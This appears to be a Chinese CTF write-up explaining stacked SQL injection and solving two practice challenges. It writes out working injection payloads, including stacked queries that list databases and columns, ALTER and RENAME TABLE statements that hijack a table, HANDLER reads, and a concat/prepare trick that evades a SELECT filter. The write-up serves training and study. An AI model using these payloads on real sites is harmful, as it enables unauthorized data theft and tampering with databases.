0x00:寫在前面
題目來源:https://buuoj.cn/challenges
參考wp:https://blog.csdn.net/qq_26406447/article/details/90643951
0x01:堆疊注入
原理很簡單,mysql_multi_query() 支持多條sql語句同時執行,就是個;分隔,成堆的執行sql語句,例如
select * from users;show databases;
就同時執行以上兩條命令,所以我們可以增刪改查,只要權限夠~
雖然這個注入姿勢很牛逼,但實際遇到很少,其可能受到API或者數據庫引擎,又或者權限的限制只有當調用數據庫函數支持執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支持多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用調用數據庫的函數是mysqli_ query()函數,其只能執行一條語句,分號后面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅。
0x02:wp~
打開題目,單引號輕而易舉的報錯
正常的sql注入開始,order by 2(這里是正常的) 然后union select 1,2-- -,就觸發了過濾規則
嘗試bypass無果,然后想了各種姿勢,好像都和select要扯上關系(師傅有新思路 可以評論提示一下)
補充經過評論提示還有方法:handler代替select 、concat拼接存儲過程
這里嘗試堆疊注入
1';show databases;
1';show tables;(這里因為就是選中了當前數據庫,所以直接show即可)
1';show columns from words;
1';show columns from `1919810931114514`;
查看兩個表的字段名字,此時我們目標就是讀取1919810931114514表的flag字段,但是限制了查詢語句,所以我們需要通過當前頁面的select展示語句進行得到flag
在當前頁面有個與數據庫交互的操作。id=1,2,3
那么這里是從words表里面進行查詢
前面說過 我們可以通過堆疊注入進行怎刪改查,那么此時我們可以把1919810931114514改為words表,然后添加id參數,再把原先的words給改為其他
講白了就是占別人的窩
OK 開始
mysql修改表名的操作:
把默認的words改為ww
ALTER TABLE words RENAME TO ww;
把1919810931114514改為words;
ALTER TABLE 1919810931114514 RENAME TO words;
往words表里新增一個字段id
ALTER TABLE words ADD id int(10) DEFAULT '1';
修改words里面flag為data
ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
然后把以上語句進行堆疊:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
還有種語句格式:
把默認的words改為ww
rename table words to ww;
下面就都一樣
驗證:
flag就到手了
方法2:handler
handler `1919810931114514` open;handler `1919810931114514` read first;(因為這里是長數字 所以需要`)
方法三:存儲過程 concat拼接拿flag
?inject=1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");prepare+hello+from+@a;execute+hello;-- -
0x03:CTF題目二 [suctf-2019 easy-sql]
打開這題目,輸入1得到如圖,burp fuzz一下過濾了很多關鍵字,show select都可以用,但flag from這些都不行
常規操作,show tables;
得到這樣,其實這里下面自己就沒思路了。。。from flag都被過濾,列名和表信息都查看不了
解法一:
*,1
post傳入query=*,1
那么sql查詢語句就是 select *,1 || flag from Flag;
解法2:1;set sql_mode=pipes_as_concat;select 1
set sql_mode=pipes_as_concat;把||變成連接符
0x04:總結
堆疊注入不難,就是這個sql注入姿勢太多啦,emmm 一開始自己搗鼓好久其他的,嘗試各種繞過,還是不熟悉這個~ 嘖!
這題感覺這個最后拿flag的姿勢很有意思,能想到的人還蠻聰明的